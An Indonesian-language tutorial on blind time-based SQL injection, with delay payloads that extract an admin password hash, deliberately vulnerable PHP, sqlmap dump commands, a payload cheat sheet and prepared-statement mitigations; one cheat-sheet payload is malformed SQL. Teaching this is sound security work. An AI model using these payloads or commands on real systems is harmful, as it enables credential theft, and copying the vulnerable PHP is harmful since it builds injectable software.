SQL Injection — Blind Time Based

Apa Itu Blind Time-Based SQLi?

Blind Boolean-based sudah cukup challenging, tapi bagaimana jika aplikasi merespons dengan sama persis setiap kali, tidak peduli kondisi TRUE atau FALSE? Tidak ada response yang dapat dibedakan.

Masukkan Blind Time-Based SQLi.

Teknik ini memanfaatkan fungsi SLEEP() atau fungsi penundaan lainnya dalam SQL untuk menciptakan perbedaan dalam response time. Jika query yang disuntikkan menyebabkan sleep, aplikasi akan lambat merespons. Attacker tidak melihat data secara langsung, mereka mengukur waktu response untuk membedakan TRUE dari FALSE.


Cara Kerjanya

Konsep Dasar:

Payload mengandung fungsi SQL yang menyebabkan penundaan buatan. Jika kondisi TRUE, penundaan terjadi. Jika FALSE, tidak ada penundaan. Attacker mengukur waktu response:

Normal request (baseline):
GET /product?id=1 → Response dalam ~50ms

TRUE condition dengan sleep:
GET /product?id=1 AND (SELECT 1 FROM users WHERE username='admin') AND SLEEP(5)--
→ Response dalam ~5050ms (5 detik lebih lambat)

FALSE condition dengan sleep:
GET /product?id=1 AND (SELECT 1 FROM users WHERE username='nonexistent') AND SLEEP(5)--
→ Response dalam ~50ms (tidak ada sleep)

Catatan penting: Baseline response time harus diukur terlebih dahulu. Setiap database juga memiliki fungsinya masing-masing:

DatabaseSleep Function
MySQLSLEEP(n)
PostgreSQLpg_sleep(n)
Microsoft SQL ServerWAITFOR DELAY 'n'
OracleDBMS_LOCK.SLEEP(n)

Exploitation: Character-by-Character via Time Delay

# Attacker wants to know the password hash of user 'admin'
# Sending payload:
GET /product?id=1 AND (SELECT CASE WHEN (
    SUBSTRING(password,1,1) = 'a'
) THEN SLEEP(5) ELSE 0 END FROM users WHERE username='admin')--

Flow Diagram:

┌─────────────────────────────────────────────────────────────┐
│  Attacker sends:                                             │
│  GET /product?id=1 AND (SELECT CASE WHEN (                  │
│      SUBSTRING(password,1,1) = 'a'                          │
│  ) THEN SLEEP(5) ELSE 0 END FROM users)--                   │
│                                                             │
│         │                                                   │
│         ▼                                                   │
│  ┌─────────────────────────────────────────────────────┐   │
│  │ Server executes:                                     │   │
│  │ WHERE id=1 AND (SELECT CASE WHEN (SUBSTRING(...)    │   │
│  │ = 'a') THEN SLEEP(5) ELSE 0 END ...)                │   │
│  └─────────────────────────────────────────────────────┘   │
│         │                                                   │
│    ┌────┴────┐                                              │
│    ▼         ▼                                              │
│  ┌────┐  ┌────────┐                                         │
│  │TRUE│  │ FALSE  │                                         │
│  │    │  │        │                                         │
│  │SLEEP│  │ No     │                                         │
│  │5s   │  │ delay  │                                         │
│  └────┘  └────────┘                                           │
│    │         │                                               │
│    ▼         ▼                                               │
│  5 detik   ~50ms                                             │
│  Response                                          │
└─────────────────────────────────────────────────────────────┘

Dengan binary search (ASCII 48-122), attacker bisa menemukan satu karakter dalam ~7 requests (log2(75) ≈ 7). Satu password 32 karakter (MD5) = ~224 requests, masih feasible.


Contoh Vulnerable Code

PHP:

$product_id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = $product_id";
$result = mysqli_query($conn, $query);
$product = mysqli_fetch_assoc($result);

if ($product) {
    echo json_encode(["status" => "ok", "data" => $product]);
} else {
    echo json_encode(["status" => "error"]);
}

Response JSON selalu sama strukturnya, tidak ada perbedaan visual antara TRUE dan FALSE. Attacker harus menggunakan time-based approach.


Automasi dengan sqlmap

sqlmap -u "https://example.com/product?id=1" \
       --technique=T \
       --level=5 \
       --batch \
       --dump \
       -T users

# --technique=T  → Time-Based Blind
# --level=5     → Highest detection level
# --batch       → Auto-confirm prompts

Mengekstrak hash spesifik:

sqlmap -u "https://example.com/product?id=1" \
       --technique=T \
       -T users \
       -C password \
       --dump

Mitigasi

// SECURE: Prepared Statements satu-satunya solusi yang benar
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $product_id);
$stmt->execute();
$result = $stmt->get_result();

Prinsip umum:

✅ Prepared Statements / Parameterized Queries
✅ Input validation dengan type casting (int untuk id)
✅ Jangan gunakan user input langsung dalam query
✅ Least privilege — DB user tidak butuh untuk sleep()
✅ WAF sebagai layer defense tambahan

Cheat Sheet

DatabasePayload Pattern
MySQLAND SLEEP(N)--
MySQL (if locked)AND BENCHMARK(N, SHA1('test'))--
PostgreSQLAND pg_sleep(N)--
MSSQLAND WAITFOR DELAY 'N:SS:MMM'--
OracleAND DBMS_LOCK.SLEEP(N)--
PurposePayload
Check vulnerabilityAND SLEEP(5)--
Confirm vulnerabilityAND SLEEP(5) IF EXISTS(SELECT 1 FROM users, SLEEP(5))--
Extract char (MySQL)AND IF(SUBSTRING(pwd,1,1)='a', SLEEP(5), 0)--
ASCII binary searchAND IF(ASCII(SUBSTRING(pwd,1,1))>100, SLEEP(5), 0)--

Perbandingan dengan Jenis Lain

TypeResponse DifferentialSpeed
Union-BasedYa (data visible)Fast
Error-BasedYa (error visible)Fast
Blind BooleanTidak (response diff)Slow
Blind Time-BasedTidak (timing diff)Slowest

Referensi